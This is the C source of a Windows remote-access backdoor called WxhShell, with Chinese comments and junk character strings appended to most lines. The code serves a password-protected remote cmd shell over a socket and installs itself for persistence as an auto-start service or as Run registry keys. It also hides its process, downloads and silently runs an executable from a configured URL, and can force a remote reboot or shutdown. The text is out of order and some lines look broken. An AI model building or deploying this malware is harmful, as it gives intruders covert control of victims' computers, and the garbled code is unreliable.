    if(Boot(SHUTDOWN)) M)+H{5bt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %(#y 5yJ]  
    else { 4he GnMD  
    closesocket(wsh); %XDc,AR[  
    ExitThread(0); 'F3f+YD  
    } TER=*"!  
    break; _/$Bpr{R  
    } ~ 'cmSiz-  
  // 获取shell ^zmG0EH,  
  case 's': { `2WFk8) F  
    CmdShell(wsh); ZY={8T@  
    closesocket(wsh); L|+~"'l  
    ExitThread(0); iN\4gQ!  
    break; NO>w+-dGS  
  } 8 +/rlHp  
  // 退出 O, wJR  
  case 'x': { [wOn|)& &  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l`{\"#4  
    CloseIt(wsh); ]=I@1B;_m  
    break; -H@:*  
    } P>C~ i:4n  
  // 离开 Jb@V}Ul$  
  case 'q': { *b}HNX|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YeL#jtC  
    closesocket(wsh); t;Sb/3  
    WSACleanup(); e7Z32P0ls  
    exit(1); Su7?;Oh/yI  
    break; 7M!I8C0!aO  
        } I\{ 1u  
  } H3 ^},.  
  } mt{nm[D!Xp  
y/cvQY0pU  
  // 提示信息 ?k&Vy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )e+>w=t  
} mbxZL<ua  
  } [)M%cyQ  
9G#n 0&wRJ  
  return;  :D6 ON"6  
} u(>^3PJ+  
!qh]6%l  
// shell模块句柄 '(f*2eE:  
int CmdShell(SOCKET sock) @ $ ;q ;  
{ mb TEp*H  
STARTUPINFO si; >V?eog%~  
ZeroMemory(&si,sizeof(si)); W0@n/U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; feDlH[$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qZtzO2Mt  
PROCESS_INFORMATION ProcessInfo; ZF9z~9  
char cmdline[]="cmd"; {j?FNOJn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xw,IJ/E$1  
  return 0; |O\s|H  
} +US!YU  
+NZ_D#u  
// 自身启动模式 RUnSCOdX  
int StartFromService(void) Eex~xiiV  
{ 0WW2i{7`U  
typedef struct [I,Z2G,Jb  
{ D&&9^t9S  
  DWORD ExitStatus; wo;~7K  
  DWORD PebBaseAddress; X; \+<LE  
  DWORD AffinityMask; =vCY?I$P  
  DWORD BasePriority; n?!">G  
  ULONG UniqueProcessId; HSE!x_$  
  ULONG InheritedFromUniqueProcessId; B dj!ia;H  
}   PROCESS_BASIC_INFORMATION; !21FR*  
UJAv`yjG  
PROCNTQSIP NtQueryInformationProcess; / |;RV"  
{Qf=G|Ah  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *MhRW,=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c \J:![x  
.nf#c.DI  
  HANDLE             hProcess; .=7vI$ujd  
  PROCESS_BASIC_INFORMATION pbi; J@HtoTDO3  
I#Y22&G1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KI iO  
  if(NULL == hInst ) return 0; FBe;1OU  
(&Kk7<#`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &v/dj@   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JQ_sUYh~3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,GhS[VJjR  
iJI }TVep#  
  if (!NtQueryInformationProcess) return 0; CAig ]=2'  
y4 #>X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vFzRg5lH  
  if(!hProcess) return 0; !I{0 _b{  
Tt`u:ZwhF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U/66L+1  
13$%,q)  
  CloseHandle(hProcess); cN-?l7  
x}wG:K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /Vx7mF:  
if(hProcess==NULL) return 0; q5J5>  
X&.ArXn*  
HMODULE hMod; ;>U2|>5V  
char procName[255]; :DK {Vg6  
unsigned long cbNeeded; P[G)sA_"  
Hp|kQJ[LE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /e5O"@  
L81ZbNU?$  
  CloseHandle(hProcess); j1Y~_  
!,_u)4  
if(strstr(procName,"services")) return 1; // 以服务启动 +[6G5cH  
S1T"Z{$  
  return 0; // 注册表启动 D=A&+6B@-  
} y>8sZuH0  
gs^Xf;g vI  
// 主模块 //up5R_nx  
int StartWxhshell(LPSTR lpCmdLine) <`8n^m*  
{ %?1ew  
  SOCKET wsl; 9!ngy*\x  
BOOL val=TRUE; `P@<3]  
  int port=0; hk;5w{t}}  
  struct sockaddr_in door; hE:9{;Gf  
ydEoC$?0  
  if(wscfg.ws_autoins) Install(); ?.m bK  
x;O[c3I  
port=atoi(lpCmdLine); _O)>$.^6  
~p6 V,Q  
if(port<=0) port=wscfg.ws_port; >%_\;svZG  
GhAlx/K  
  WSADATA data; A;q9rD,_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J/`<!$<c  
# " 6Qj'/h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s2p\]|5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @-07F,'W,  
  door.sin_family = AF_INET; o+iiST JEe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +yG~T  
  door.sin_port = htons(port); ZoW?nxY  
f3l&3hC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zy?|ODM  
closesocket(wsl); b<[Or^X ]  
return 1; 5+0gR &|j  
} y%$AhRk*U  
h%na>G  
  if(listen(wsl,2) == INVALID_SOCKET) { biD$qg  
closesocket(wsl); 'T;P;:!\  
return 1; FBX'.\@`  
} q CC.^8  
  Wxhshell(wsl); hg]]Ok~cAs  
  WSACleanup(); #6aW9GO  
IZ-1c1   
return 0; PCee<W_%YE  
S"QWB`W2  
} 5X$jl;6  
;W )Y OT  
// 以NT服务方式启动 #powub  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w$iX.2|9%u  
{ z=\&i\>;Z+  
DWORD   status = 0; ,Ks8*;#r  
  DWORD   specificError = 0xfffffff; LKB$,pR~1l  
Oc0a77@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x_Y!5yg E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E?f-wQF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9!\B6=r y4  
  serviceStatus.dwWin32ExitCode     = 0; N7zft  
  serviceStatus.dwServiceSpecificExitCode = 0; VQt0  4?  
  serviceStatus.dwCheckPoint       = 0; h 0Q5-EA  
  serviceStatus.dwWaitHint       = 0; `:KY\  
>Eto( y"q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2 c{34:  
  if (hServiceStatusHandle==0) return; `cUl7 'j  
s?}e^/"v  
status = GetLastError(); ;7V%#-  
  if (status!=NO_ERROR) bl;1i@Z*M  
{ w+|L+h3L7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9wwqcx)3(  
    serviceStatus.dwCheckPoint       = 0; n5NsmVW\x  
    serviceStatus.dwWaitHint       = 0; -<!NXm|kvz  
    serviceStatus.dwWin32ExitCode     = status; j{A y\n(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8qTys8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^"2J]&x`G  
    return; xJ8M6O8  
  } HyZqUb Ha  
osAd1<EIC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sIGMA$EK  
  serviceStatus.dwCheckPoint       = 0; $a"Oc   
  serviceStatus.dwWaitHint       = 0; oW*16>IN9l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AJ`h9 %B  
} 'Aq{UGN  
'9J/T57]e  
// 处理NT服务事件,比如:启动、停止 *zvx$yJ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "7F?@D$e  
{ 7' V@+5  
switch(fdwControl) [!#L6&:a8  
{ |N7M^  
case SERVICE_CONTROL_STOP: c9u`!'g`i  
  serviceStatus.dwWin32ExitCode = 0; Yu^4VXp~M%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m nX2a  
  serviceStatus.dwCheckPoint   = 0; {qJ1ko)$  
  serviceStatus.dwWaitHint     = 0; BG]#o| KW  
  { '$(^W@M#6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H3=qe I  
  } +_oJ}KI  
  return; j-}O0~Jz  
case SERVICE_CONTROL_PAUSE: YZ8>OwQz2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V5>B])yQ  
  break; O-hAFKx  
case SERVICE_CONTROL_CONTINUE: >tV{Pd1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KU(&%|;g  
  break; :J&oX <nF^  
case SERVICE_CONTROL_INTERROGATE: MH\dC9%p  
  break; Moza".fiN  
}; J<h $ wM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .?sx&2R2  
} flbd0NB  
MKi0jwJM  
// 标准应用程序主函数 0IBSRFt$g&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aeM+ d`f  
{ &@OT*pNna  
vXZOy%$o  
// 获取操作系统版本 dkTX  
OsIsNt=GetOsVer(); Aw.qK9I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bK&+5t&  
"]Xc`3SM  
  // 从命令行安装 &}B|"s[  
  if(strpbrk(lpCmdLine,"iI")) Install(); c`w}|d]mC  
m&&m,6``P  
  // 下载执行文件 t-bB>q#3>  
if(wscfg.ws_downexe) { 7~.9=I'A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u\;C;I-? '  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8'io$ 6d=  
} c,+:i1IAy  
BpP y&  
if(!OsIsNt) { h J)h\  
// 如果时win9x,隐藏进程并且设置为注册表启动 }Oq5tC@$G  
HideProc(); w%jII{@,  
StartWxhshell(lpCmdLine); Z,Dl` w  
} hT+_(>hT  
else .Vvx,>>D  
  if(StartFromService()) RQ" ,3.R==  
  // 以服务方式启动 Cj lk  
  StartServiceCtrlDispatcher(DispatchTable); x7<K<k;s  
else l}A93jSL  
  // 普通方式启动 LBDjIpR6  
  StartWxhshell(lpCmdLine); _ *Pf  
r0% D58  
return 0; n<R?ffy  
} {8bSB.?R  
f\L0 xJ  
}y gD3:vN7  
w@w(-F!%l  
=========================================== |z^^.d~a0  
?)d~cJ  
gT6jYQ  
5M*:}*  
UH"%N)[  
z9Rp`z&`E  
" ((M>s&\y*Y  
d<P\&!R(  
#include <stdio.h> _u QOHwn  
#include <string.h> <x>M o   
#include <windows.h> Z=vU}S>r|v  
#include <winsock2.h> ?hy&  
#include <winsvc.h> nUOz\ y  
#include <urlmon.h> T{[=oH+  
X$W~mQma6  
#pragma comment (lib, "Ws2_32.lib") u;2[AQ.  
#pragma comment (lib, "urlmon.lib") L) T (<  
9InVQCf2J  
#define MAX_USER   100 // 最大客户端连接数 \z(gqkc 6  
#define BUF_SOCK   200 // sock buffer sD#.Oq4&]y  
#define KEY_BUFF   255 // 输入 buffer YS"=yye 3e  
"S?z@ i(K^  
#define REBOOT     0   // 重启 *VT/  
#define SHUTDOWN   1   // 关机 9~[Y-cpoi  
k\?Ii<m  
#define DEF_PORT   5000 // 监听端口 n /m G|)Xt  
JDT`C2-Q  
#define REG_LEN     16   // 注册表键长度 -6B4sZpzD  
#define SVC_LEN     80   // NT服务名长度 +TDw+  
c9h6C  
// 从dll定义API tK\~A,=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '/s)%bc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s!$7(Q86R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f._ua>v,f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wI/iuc  
H9e<v4 c  
// wxhshell配置信息 \bw2u!  
struct WSCFG { /IMFO:c  
  int ws_port;         // 监听端口 I b5rqU\  
  char ws_passstr[REG_LEN]; // 口令 o?\?@H  
  int ws_autoins;       // 安装标记, 1=yes 0=no tY4;F\e2|A  
  char ws_regname[REG_LEN]; // 注册表键名 Qzw;i8n{  
  char ws_svcname[REG_LEN]; // 服务名 NTs aW}g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }0Ed ]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |&i<bqLw:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `<d }V2rdz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kE1TP]|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >fQMXfoY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m ~$v;?i  
a9V,es"BWQ  
}; X#^[<5  
G]&qx`TBK  
// default Wxhshell configuration @cXMG6:{  
struct WSCFG wscfg={DEF_PORT, 63IM]J  
    "xuhuanlingzhe",  z+X}HL  
    1, ^} >w<'0  
    "Wxhshell", :gFx{*xN/9  
    "Wxhshell", [ub e6  
            "WxhShell Service", \YrUe1  
    "Wrsky Windows CmdShell Service", )zDCu`  
    "Please Input Your Password: ", +9sQZB# (  
  1, U8$27jq  
  "http://www.wrsky.com/wxhshell.exe", (X*^dO  
  "Wxhshell.exe" Y(Hs#Kn{  
    }; NL+N%2XG7  
('+d.F[109  
// 消息定义模块 5'u<iSmBo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M x" \5i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jq0O22 -R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q\sK"~@3  
char *msg_ws_ext="\n\rExit."; /&J T~M  
char *msg_ws_end="\n\rQuit.";  6(R<{{  
char *msg_ws_boot="\n\rReboot..."; nQ3A~ ()  
char *msg_ws_poff="\n\rShutdown..."; l,aay-E  
char *msg_ws_down="\n\rSave to "; SOaoo^,O  
`N8O"UcoBo  
char *msg_ws_err="\n\rErr!"; &_8 947  
char *msg_ws_ok="\n\rOK!"; <(#ej4ar,  
{Qj~M<@3  
char ExeFile[MAX_PATH]; +:/%3}`  
int nUser = 0; as =fCuJ  
HANDLE handles[MAX_USER]; pT6$DB#  
int OsIsNt; ,|/f`Pl  
&mM0AA'\?H  
SERVICE_STATUS       serviceStatus; Q\0'lQJdy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;}p  
hOK8(U0  
// 函数声明 Lu%b9Jk  
int Install(void); [()koU#w.  
int Uninstall(void); 3=V &K-  
int DownloadFile(char *sURL, SOCKET wsh); 1Ai^cf:S  
int Boot(int flag); o^wqFX(Y  
void HideProc(void); }Ou}+^Bc  
int GetOsVer(void); bW+:C5'  
int Wxhshell(SOCKET wsl); _,*r_D61S  
void TalkWithClient(void *cs); `XDl_E+>l  
int CmdShell(SOCKET sock); 5#z1bu  
int StartFromService(void); M D#jj3y  
int StartWxhshell(LPSTR lpCmdLine); 0b 54fD=  
:Llb< MY2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0PCGDLk8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uHNCSz H(  
tO&^>&;5  
// 数据结构和表定义 gnHbb-<i,  
SERVICE_TABLE_ENTRY DispatchTable[] = #lO Mm9  
{ !bP@n  
{wscfg.ws_svcname, NTServiceMain}, V28M lP  
{NULL, NULL} z0 Z%m@  
}; ]I6  J7A[  
A":T1s  
// 自我安装 !PE]C!*gv&  
int Install(void) wdoR%b{M  
{ .X;K%J2  
  char svExeFile[MAX_PATH]; _(zG?]y0P  
  HKEY key; 3iU=c&P  
  strcpy(svExeFile,ExeFile); JsS-n'gF'  
0IWf!Sk ]  
// 如果是win9x系统,修改注册表设为自启动 Kf-JcBsrT  
if(!OsIsNt) { 7PF%76TO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5E <kwi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;O #>Y  
  RegCloseKey(key); ]K%!@O!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M'l ;:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #,v {Ihn  
  RegCloseKey(key); .o}v#W+st  
  return 0; t3^&; &[  
    } V^~:F  
  } "^iYLQOC  
} {fp[BF  
else { 8a"%0d#  
ft Wv~Eh  
// 如果是NT以上系统,安装为系统服务 N4HqLh23H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Cv?Z.x5  
if (schSCManager!=0) Z5]>pJFq,  
{ r,2g^ K)6  
  SC_HANDLE schService = CreateService '}#9)}x!  
  ( ~7Ux@Sx;  
  schSCManager, YZJyk:H\  
  wscfg.ws_svcname, x'R`. !g3  
  wscfg.ws_svcdisp, mpJ#:}n  
  SERVICE_ALL_ACCESS, &b& ,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Aq7osU1B  
  SERVICE_AUTO_START, \1Em`nvOX  
  SERVICE_ERROR_NORMAL, sCHJ&>m5-  
  svExeFile, ]e@Oiq  
  NULL, -A!%*9Z  
  NULL, g eCM<]  
  NULL, r]36z X v  
  NULL, v/=}B(TDF  
  NULL }JAG7L&{  
  ); q> C'BIr  
  if (schService!=0) &@YmA1Yu)E  
  { {Y9q[D'g.  
  CloseServiceHandle(schService); sD wqH.L  
  CloseServiceHandle(schSCManager); 8}UI bF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f& '  
  strcat(svExeFile,wscfg.ws_svcname); ]z9=}=If  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?6Y?a2 |  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \)|hogI|f  
  RegCloseKey(key); |$b}L7_  
  return 0; #;nYg?d=  
    } R~$qo)v  
  } OI*Xt`  
  CloseServiceHandle(schSCManager); vRO _Q?  
} @<&m|qtMsz  
} `W*U4?M  
ixD)VcD-f  
return 1; sLAQE64\"  
} E~oOKQ5W  
)+2hl  
// 自我卸载 b1?'gn~  
int Uninstall(void) dlTt _.  
{ omBoo5e  
  HKEY key; k+pr \d~  
W:L AP R  
if(!OsIsNt) { t{vJM!kdlQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YcpoL@ab  
  RegDeleteValue(key,wscfg.ws_regname); .OY`Z)SS%  
  RegCloseKey(key); ikiypWq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v^ V itLC  
  RegDeleteValue(key,wscfg.ws_regname); $ gS>FJ  
  RegCloseKey(key); E09 :E  
  return 0; G*P#]eO  
  } cH t#us  
} ,1o FPa{?  
} %Y*Ndt4  
else { #'9HU2  
_>X+ZlpU:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rCdu0 gYT  
if (schSCManager!=0) k_nql8H  
{ ZX./P0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %/#NK1&M  
  if (schService!=0) 1NA.nw.  
  { ZRU{ [4  
  if(DeleteService(schService)!=0) { mSh[}%swj  
  CloseServiceHandle(schService); .jjG(L  
  CloseServiceHandle(schSCManager); K} X&AJ5A  
  return 0; }l} Bo.C  
  } "n5N[1b k  
  CloseServiceHandle(schService); aNspMJ  
  } EaY?aAuS:  
  CloseServiceHandle(schSCManager); ^'{Fh"5  
} 8\A#CQ5b  
} eiaFaYe\  
o~y;j75{.*  
return 1; ['tY4$L(  
} ywmo#qYe  
=ncVnW{  
// 从指定url下载文件 0gP}zM73  
int DownloadFile(char *sURL, SOCKET wsh) 0)e\`Bv  
{ tGE$z]1c@  
  HRESULT hr; ?ri?GmI|  
char seps[]= "/"; Ad9}9!<  
char *token; l'E*=Rn  
char *file; %axh`xK#  
char myURL[MAX_PATH]; 5 ,B_u%bb  
char myFILE[MAX_PATH]; ` *N[jm"  
'"/=f\)u  
strcpy(myURL,sURL); ,pQZ@I\z  
  token=strtok(myURL,seps); dhf!o0'1M  
  while(token!=NULL) Y>dzR)~3[  
  { S3*`jF>q  
    file=token; a;qryUyG  
  token=strtok(NULL,seps); PQSP&  
  } "N#Y gSr  
a'T;x`b8U,  
GetCurrentDirectory(MAX_PATH,myFILE); dr"1s-D4IQ  
strcat(myFILE, "\\"); ~J]qP#C  
strcat(myFILE, file); rl.}%Ny  
  send(wsh,myFILE,strlen(myFILE),0); 7 8,n%=nG  
send(wsh,"...",3,0); X3& Jb2c2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1~gCtBRM  
  if(hr==S_OK)  !@sUj  
return 0; 2<6UwF  
else Wn6Sn{8W{  
return 1; 1;iUWU1@  
ry]l.@o;  
} W*G<X.Hf  
QGz|*]  
// 系统电源模块 + T+#q@  
int Boot(int flag) \.S/|  
{ $;PMkUE  
  HANDLE hToken; \<K5ZIWV  
  TOKEN_PRIVILEGES tkp; zm#  ?W  
iow"n$/  
  if(OsIsNt) { Ul# r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N>E_%]Ch  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n+p }\msH  
    tkp.PrivilegeCount = 1; &&%H%9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XP}<N&j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~M$Wd2Th  
if(flag==REBOOT) { G/W>S,(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) atzX;@"K  
  return 0; >Gu M]qn  
} dWW.Y*339  
else { $Kd>:f=A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7$#u  
  return 0; UZ";a453r  
} xx $cnG  
  } +ai< q>+  
  else { 8,|kao:  
if(flag==REBOOT) { I 6O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g{LP7 D;6  
  return 0; )PZT4jTt  
} V~#tuv  
else { d=^z`nt !R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~G w*r\\+  
  return 0; 3XKf!P  
} 1mJ Hued=6  
} ipz5H*  
!~Z"9(v'C  
return 1; ,//S`j$S  
} 8EY:t zw  
(% 9$!v{3  
// win9x进程隐藏模块 0{mex4  
void HideProc(void) k=^xVQuI  
{ ?cZlN !  
[Qr"cR^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !m$jk2<  
  if ( hKernel != NULL ) tp|d*7^i  
  { $ Q0n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 31)&vf[[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P2Y^d#jO  
    FreeLibrary(hKernel); d5d@k  
  } `h;[TtIX4  
>sbu<|]a 7  
return; S>{~nOYt-`  
} =c7;r]Ol  
V8(-  
// 获取操作系统版本 pot~<d`:K"  
int GetOsVer(void) 7z-[f'EIUI  
{ ^Dx&|UwiZa  
  OSVERSIONINFO winfo; w =KPT''!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %)n=x ne  
  GetVersionEx(&winfo); Ho%CDz z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +[P{&\d4}  
  return 1; Hv, LS ;W  
  else ] R*A  
  return 0; iQ{VY ^ 0  
} ite~E5?#  
0$njMnB2l  
// 客户端句柄模块 #;<Y[hR{P  
int Wxhshell(SOCKET wsl) Js;h%  
{ Mp]rUPK  
  SOCKET wsh; pJ{Y lS{  
  struct sockaddr_in client; W>LR\]Ti@  
  DWORD myID; D,6:EV"sa  
snJ129}A  
  while(nUser<MAX_USER) 7o4\oRGV  
{ '<M{)?  
  int nSize=sizeof(client); uq{ beC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?4B`9<j8%  
  if(wsh==INVALID_SOCKET) return 1; 3o qHGA:}  
{b{s<@?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 54/=G(F   
if(handles[nUser]==0) y)*RV;^  
  closesocket(wsh); H>C=zo,oiC  
else Cyp'?N  
  nUser++; olcDt&xv]  
  } Y$zSQ_k;U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q.[0ct  
P*o9a  
  return 0; t^L]/$q  
} 5X+A"X ;C  
g+l CMW\  
// 关闭 socket Z{R>  
void CloseIt(SOCKET wsh) U6VKMxSJ  
{ BuwY3F\-O  
closesocket(wsh); Xeaj xcop#  
nUser--; [gB+C84%%  
ExitThread(0); F\! `/4  
} {8aTV}Ha2  
B1STGL`nK  
// 客户端请求句柄 ix$bRdl  
void TalkWithClient(void *cs) _j3fAr(V  
{ M`>E|" <  
1"g<0 W  
  SOCKET wsh=(SOCKET)cs; g5yJfRLxp  
  char pwd[SVC_LEN]; ]?*wbxU0  
  char cmd[KEY_BUFF]; r3Ykz%6  
char chr[1]; /o[w4d8  
int i,j; Q;u pau  
HV.t6@\};  
  while (nUser < MAX_USER) { O84i;S+-p  
#F#%`Rv1  
if(wscfg.ws_passstr) { A's{j7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g){<y~Mk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RZ7@cQY  
  //ZeroMemory(pwd,KEY_BUFF); >/|*DI-HJ  
      i=0; Uv.)?YeGh  
  while(i<SVC_LEN) { nlYNN/@"  
OCUr{Nh  
  // 设置超时 &vJH$R  
  fd_set FdRead; :>*7=q=  
  struct timeval TimeOut; r,udO,Yi=c  
  FD_ZERO(&FdRead);  J *yg&  
  FD_SET(wsh,&FdRead); Ib`XT0k  
  TimeOut.tv_sec=8; /\Ef%@  
  TimeOut.tv_usec=0; 9UkBwS`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E3i4=!Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6-I'>\U~  
g ?k=^C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IU[ [ H#  
  pwd=chr[0]; #jk_5W  
  if(chr[0]==0xd || chr[0]==0xa) { TO_e^A#  
  pwd=0; `g,..Ns-r  
  break; Ngwb Q7)  
  } s>en  
  i++; H.c7Nle  
    } 25T18&R  
K;(mC<  
  // 如果是非法用户,关闭 socket ^"g~-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OPi0~s  
} ,>M[@4`,U  
Vj-h;rB0z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \8 ":]EU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kgv T"s.  
%$I;{-LD  
while(1) { rUl+  
%*U'@r(A  
  ZeroMemory(cmd,KEY_BUFF); pI[uUu7O  
phK/   
      // 自动支持客户端 telnet标准   d1*<Ll9K  
  j=0; nNm`Hfi  
  while(j<KEY_BUFF) { ),)lzN%!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <GJbmRc|  
  cmd[j]=chr[0]; 7 &\yj9  
  if(chr[0]==0xa || chr[0]==0xd) { cR{#V1Z  
  cmd[j]=0; ~?dI*BZ)]  
  break; v^iAD2X/F  
  } : +u]S2u{  
  j++; &L:!VL{I  
    } GVz6-T~\>  
Zc yc*{DS  
  // 下载文件 ?5p>BER?  
  if(strstr(cmd,"http://")) { i?/qY&~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q| 7(  
  if(DownloadFile(cmd,wsh)) ==B6qX8T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,I9bNO,%JK  
  else BWNi [^]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lFk R=!?=  
